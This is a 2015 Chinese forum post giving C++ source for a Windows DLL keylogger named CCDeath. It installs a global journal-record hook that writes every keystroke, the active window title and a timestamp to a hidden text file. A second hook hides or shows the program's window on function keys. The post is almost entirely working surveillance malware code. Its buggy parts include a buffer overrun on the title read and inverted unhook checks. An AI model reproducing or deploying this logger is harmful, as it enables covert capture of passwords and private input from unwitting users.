标题: WINDOWS键盘钩子 [打印本页]

---

作者: liuyy    时间: 2015-1-11 20:10
标题: WINDOWS键盘钩子

1. CCDeath_DLL.cpp文件
   
2. 
   
3. #include "afx.h"//file头文件
   
4. #include "windows.h"
   
5. 
   
6. #pragma data_seg("MySec")//创建一个节
   
7. HHOOK g_hKeyBoard=NULL;//键盘记录
   
8. HHOOK g_hFuncKeyBoard=NULL;//用来隐藏和显示窗口
   
9. HWND g_hWnd=NULL;//保存一个窗口句柄，必须副初值
   
10. HWND g_hLastFocusWnd=NULL;//记录上次得到焦点的窗口句柄
    
11. const int g_KeyPressMass=0x80000000;//键盘掩码常量
    
12. char ch=NULL,str[10]={0};//ch保存虚拟键的值
    
13. FILE *stream=NULL; //文件流输入文件
    
14. HWND g_hCurrentFocusWnd=NULL;//当前焦点的窗口句柄
    
15. char szTitle[200]={0};//当前窗口的名称
    
16. char szTime[100]={0};//当前的日期
    
17. char g_prevChar=NULL;//保存上一次按键值
    
18. #pragma data_seg()
    
19. #pragma comment(linker,"/section:MySec,RWS")//连接到连接器里面
    
20. //
    
21. //
    
22. //
    
23. //处理过程
    
24. LRESULT CALLBACK JournalRecordProc(
    
25. int code, // hook code
    
26. WPARAM wParam, // undefined
    
27. LPARAM lParam // address of message being processed
    
28. )
    
29. {
    
30. 
    
31. if(code==HC_ACTION)
    
32. {
    
33. EVENTMSG *pEvtMsg = (EVENTMSG *)lParam;
    
34. //和时间
    
35. stream = fopen("D:\\CCDeath.txt","a+t");//创建一个文件流指针向该文件
    
36. //处理按键消息
    
37. if(pEvtMsg->message==WM_KEYDOWN)
    
38. {
    
39. int vKey= LOBYTE(pEvtMsg->paramL);//取得虚拟键值
    
40. 
    
41. g_hCurrentFocusWnd=GetForegroundWindow();//取得当前活动窗口句柄
    
42. if(g_hLastFocusWnd!=g_hCurrentFocusWnd)
    
43. {
    
44. GetWindowText(g_hCurrentFocusWnd,szTitle,256);//获得标题
    
45. g_hLastFocusWnd=g_hCurrentFocusWnd;
    
46. 
    
47. SYSTEMTIME mytime;//获得当前时间与日期
    
48. GetLocalTime(&mytime);
    
49. CString m_time,m_Space,m_Back;
    
50. 
    
51. m_time.Format("\r\n记录时间:%d年%d月%d日,%02d小时%d分钟%d秒\r\n记录的文件名:",mytime.wYear,mytime.wMonth,\
    
52. mytime.wDay,mytime.wHour,mytime.wMinute,mytime.wSecond);
    
53. m_Space="\r\n---------------------键盘钩子为您记录 BY:DEBUG----------------------";//开头
    
54. m_Back="\r\n记录的内容:\r\n";//结束
    
55. fprintf(stream,"%s%s%s%s",m_Space,m_time,szTitle,m_Back);//写入文件
    
56. }
    
57. //测试SHIFT,CAPTION,NUMLOCK等键是否按下
    
58. int IsShift = GetKeyState(0x10);
    
59. int IsNumLock = GetKeyState(0x90);
    
60. int IsCapsLock = GetKeyState(0x14);
    
61. bool bShift=(IsShift & g_KeyPressMass)==g_KeyPressMass;
    
62. bool bCapsLock=((IsCapsLock & 1) ==1);
    
63. bool bNumLock=((IsNumLock & 1) ==1);
    
64. if(vKey>=48 && vKey<=57)//数字0到9
    
65. {
    
66. if(!bShift)//shift+1=!上档键
    
67. {
    
68. fprintf(stream,"%c",vKey);//写入0到九
    
69. }
    
70. }
    
71. if(vKey>=65 && vKey<=90)//字符大写A-Z
    
72. {
    
73. if(!bCapsLock)//没有大小锁定键
    
74. {
    
75. if(!bShift)//Shit+A=a \A+32=a;
    
76. {
    
77. ch=vKey+32;
    
78. 
    
79. }
    
80. else ch=vKey;
    
81. }
    
82. fprintf(stream,"%c",ch);
    
83. }
    
84. if (vKey >=96 && vKey<=105) // 小键盘0-9
    
85. {
    
86. if (bNumLock) fprintf(stream,"%c",vKey-96+48);
    
87. }
    
88. if (vKey>=186 && vKey<=222) // 其他键
    
89. {
    
90. switch (vKey)
    
91. {
    
92. case 186:if (!bShift) ch=';'; else ch=':';break;
    
93. case 187:if (!bShift) ch='='; else ch='+';break;
    
94. case 188:if (!bShift) ch=','; else ch='<' ;break;
    
95. case 189:if (!bShift) ch='-'; else ch='_';break;
    
96. case 190:if (!bShift) ch='.'; else ch='>';break;
    
97. case 191:if (!bShift) ch='/'; else ch='?';break;
    
98. case 192:if (!bShift) ch='`'; else ch='~';break;
    
99. case 219:if (!bShift) ch='['; else ch='{';break;
    
100. case 220:if (!bShift) ch='\\'; else ch='|';break;
     
101. case 221:if (!bShift) ch=']'; else ch='}';break;
     
102. case 222:if (!bShift) ch='\''; else ch='\"';break;
     
103. default:ch='n';break;
     
104. }
     
105. if (ch!='n') fprintf(stream,"%c",ch); //n是110n回车 此时应该换行才对
     
106. 
     
107. 
     
108. }
     
109. if(vKey==9) //TAB
     
110. fprintf(stream,"%c",'\t');
     
111. if(vKey==13) //回车键
     
112. fprintf(stream,"%c",'\n');
     
113. 
     
114. }
     
115. 
     
116. fclose(stream);
     
117. 
     
118. return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
     
119. }
     
120. if(code<0)
     
121. {
     
122. return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
     
123. }
     
124. // return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
     
125. 
     
126. 
     
127. }
     
128. //用来程序的隐藏
     
129. LRESULT CALLBACK KeyboardProc(
     
130. int code, // hook code
     
131. WPARAM wParam, // virtual-key code
     
132. LPARAM lParam // keystroke-message information
     
133. )
     
134. {
     
135. if(VK_F3==wParam)
     
136. {
     
137. ShowWindow(g_hWnd,SW_SHOW);
     
138. }
     
139. if(VK_F2==wParam)
     
140. {
     
141. ShowWindow(g_hWnd,SW_HIDE);
     
142. 
     
143. }
     
144. if(VK_F4==wParam)
     
145. {
     
146. SendMessage(g_hWnd,WM_CLOSE,0,0);
     
147. UnhookWindowsHookEx(g_hFuncKeyBoard);
     
148. UnhookWindowsHookEx(g_hKeyBoard);
     
149. 
     
150. }
     
151. return 0;
     
152. 
     
153. }
     
154. 
     
155. 
     
156. 
     
157. 
     
158. 
     
159. //安装钩子
     
160. void InstallHook(HWND hWnd)
     
161. {
     
162. g_hWnd=hWnd;//对窗口进行操作，比如隐藏之类的
     
163. if(g_hKeyBoard==NULL)//安全性判断
     
164. {
     
165. g_hKeyBoard=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle("CCDeath_DLL"),0);
     
166. }
     
167. if(g_hFuncKeyBoard==NULL)
     
168. {
     
169. g_hFuncKeyBoard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("CCDeath_DLL"),0);
     
170. }
     
171. }
     
172. //御载钩子
     
173. void UnloadHook()
     
174. {
     
175. if(!g_hKeyBoard)
     
176. {
     
177. UnhookWindowsHookEx(g_hKeyBoard);
     
178. g_hKeyBoard=NULL;
     
179. }
     
180. if(!g_hFuncKeyBoard)
     
181. {
     
182. UnhookWindowsHookEx(g_hFuncKeyBoard);
     
183. g_hFuncKeyBoard=NULL;
     
184. }
     
185. 
     
186. }

复制代码

---

欢迎光临 (http://www.51hei.com/bbs/)

Powered by Discuz! X3.1